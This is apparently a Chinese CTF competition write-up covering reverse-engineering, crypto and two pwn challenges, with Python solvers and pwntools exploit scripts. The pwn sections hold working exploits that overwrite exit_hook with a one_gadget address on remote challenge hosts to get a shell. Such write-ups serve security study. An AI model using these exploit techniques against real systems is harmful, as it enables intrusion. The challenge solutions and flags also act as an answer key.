这次没想到还拿了一道re的一血 能去线下了= =
题目名称 re bang
一看题目就知道需要dump dex 正好手边手机开启了frida 直接dump dex 脚本一把梭,然后直接反编译 发现flag
拿到了一血,如果不是怀疑flag是假的 估计更快。。
题目名称 re signal
这个题目 自己实现了vm
自己写了一个脚本(不要吐槽我的拼音,当时有点着急 就没有想那么多)
自己写了一个python代码模拟了一下
lists=[10,4,16,8,3,5,1,4,32,8,5,3,1,3,2,8,11,1,12,8,4,4,1,5,3,8,3,33,1,11,8,11,1,4,9,8,3,32,1,2,81,8,4,36,1,12,8,11,1,5,2,8,2,37,1,2,54,8,4,65,1,2,32,8,5,1,1,5,3,8,2,37,1,4,9,8,3,32,1,2,65,8,12,1,7,34,7,63,7,52,7,50,7,114,7,51,7,24,7,167,7,49,7,241,7,40,7,132,7,193,7,30,7,122]
sums=0
xiangjia=0
cmp_index=0
idnex=0
cmpls=[]
while(1):
if sums>=114:
break
#print sums
x=lists[sums]
try:
if x==1:
print("fuzhi")
xiangjia=xiangjia+1
sums+=1
if x==2:
print("xiangjia")
print(xiangjia,lists[sums+1])
sums+=2
if x==3:
print("xiangjian")
print(xiangjia,lists[sums+1])
sums+=2
if x==4:
print("yihuo")
print(xiangjia,lists[sums+1])
sums+=2
if x==5:
print("chengfa")
print(xiangjia,lists[sums+1])
sums+=2
if x==6:
print("zizhenzijia")
sums+=1
if x==7:
print("bijiao")
print(lists[sums+1],idnex)
cmpls.append(lists[sums+1])
sums+=2
idnex+=1
if x==8:
print("jieguofuzhi")
sums+=1
if x==10:
print("duqu")
sums+=1
if x==11:
print("jianyi")
print(xiangjia)
sums+=1
if x==12:
print("jiayi")
print(xiangjia)
sums+=1
except Exception as e:
raise
print(cmpls)
然后根据出来的值 直接倒推就ok
其实可以把控制指令反过来 然后指令也翻过来就能直接跑出来flag。这懒得写了
题目名称 re jocker
这题目 实现了smc 并且对抗了一下f5 直接idc 去掉smc 然后 修改一下栈针
清晰出来f5
可以根据encrypt 函数直接逆向出来前19位
x=[0x66,0x6b,0x63,0x64,0x7f,0x61,0x67,0x64,0x3b,0x56,0x6b,0x61,0x7b,0x26,0x3b,0x50,0x63,0x5f,0x4d,0x5a,0x71,0xc,0x37,0x66]
for i in range(0,len(x)):
if i%2==1:
x[i]=x[i]+i
else:
x[i]=x[i]^i
flag=""
for i in range(0,len(x)):
flag+=chr(x[i])
print(flag)
xor_str="hahahaha_do_you_find_me?"
x=[
0x0E, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x09, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x56, 0x00,
0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x1F, 0x00,
0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x6B, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x59, 0x00,
0x00, 0x00, 0x0D, 0x00, 0x00, 0x00]
flag=""
print
for i in range(19):
print(x[i*4])
flag+=chr(ord(xor_str[i])^x[i*4])
print(flag)
#flag{d07abccf8a410c
然后看到finally函数
发现自己一脸懵。。然后试着 去让v7^某个值='}'
交上去发现对了。。。
题目名称:crypto boom
就简单的条件 符合就ok z3一把梭
题目名称:you raise me up.
sage直接跑。。
pwn题就直接问的pwn手思路 自己没有调试。。
题目名称:boom1
我还以为这个是ollvm 发现这分发快和后继块怎么那么多,,,, = =
结果改了改脚本 发现把虚拟机卡死了
后来才听说是作者自己写的while 并不是用的ollvm混淆 。 。。 。
然后开始搞 这两个pwn题都是用到了 一个知识点 就是 malloc 如果块大的话 就会和ld 挨到一块
exit hook 的地址 就在ld里面
那么如果是同一个libc 那么这个偏移就固定 pwn1是实现了一个c语言的编译器
然后根据全局变量就可以确定偏移 然后根据偏移往上面写 one_addr 可以getshell
import sys
from pwn import *
from ctypes import *
from pwn_debug.pwn_debug import *
binary='./pwn'
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('./Pwn', os.F_OK): os.mkdir('./Pwn')
path = './Pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
# LD=change_ld('./main','./ld-2.23.so')
# io = LD.process(env={'LD_PRELOAD':'./libc-2.23.so'})
io=remote('182.92.73.10',24573)
context.log_level='debug'
# while True :
io.recv()
# gdb.attach(io)
pay = '''
char *a,*b,*d;
int main()
{
a="keer";
b=a-0x529028;
a=b+0x5f0048;
a[0]=0;
a=a+0xf00;
d=b+0xCD0F3;
a[0]=d&0xFF;
a[1]=(d>>8)&0xff;
a[2]=(d>>16)&0xff;
}'''
pay = pay.replace('\n','')
io.sendline(pay)
io.recv()
io.interactive()
其中a的地址就是exit_hook d的就是one
题目名称:boom2
这个题目就复杂了一些 是vmpwn 这个vm 实现了比较好的功能
先是初始化了栈
然后实现了很多功能 其中就是
实现了函数头的 sub esp xx mov esp ebp
然后这里如果控制住了 esp 比如是 exit hook 然后 往里面写 one 就可以控制权限了
import sys
from pwn import *
context.log_level='debug'
context.arch='amd64'
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('./Pwn', os.F_OK): os.mkdir('./Pwn')
path = './Pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
# LD=change_ld('./main','./ld-2.23.so')
# io = LD.process(env={'LD_PRELOAD':'./libc-2.23.so'})
io=remote("182.92.73.10",36642)
# io.recv()
# gdb.attach(io)
# pause()
off=-2992620
pay=flat([6,0x101f1,
0,0xbed,
9,
25,
6,-0x10ddf,
13,
off
])
io.sendline(pay)
写的话 直接 push 操作就能控制了 这里如果看懂vm的话 就很简单了。。。
这次题目个人感觉难度是 re<crypto<pwn<web<misc = =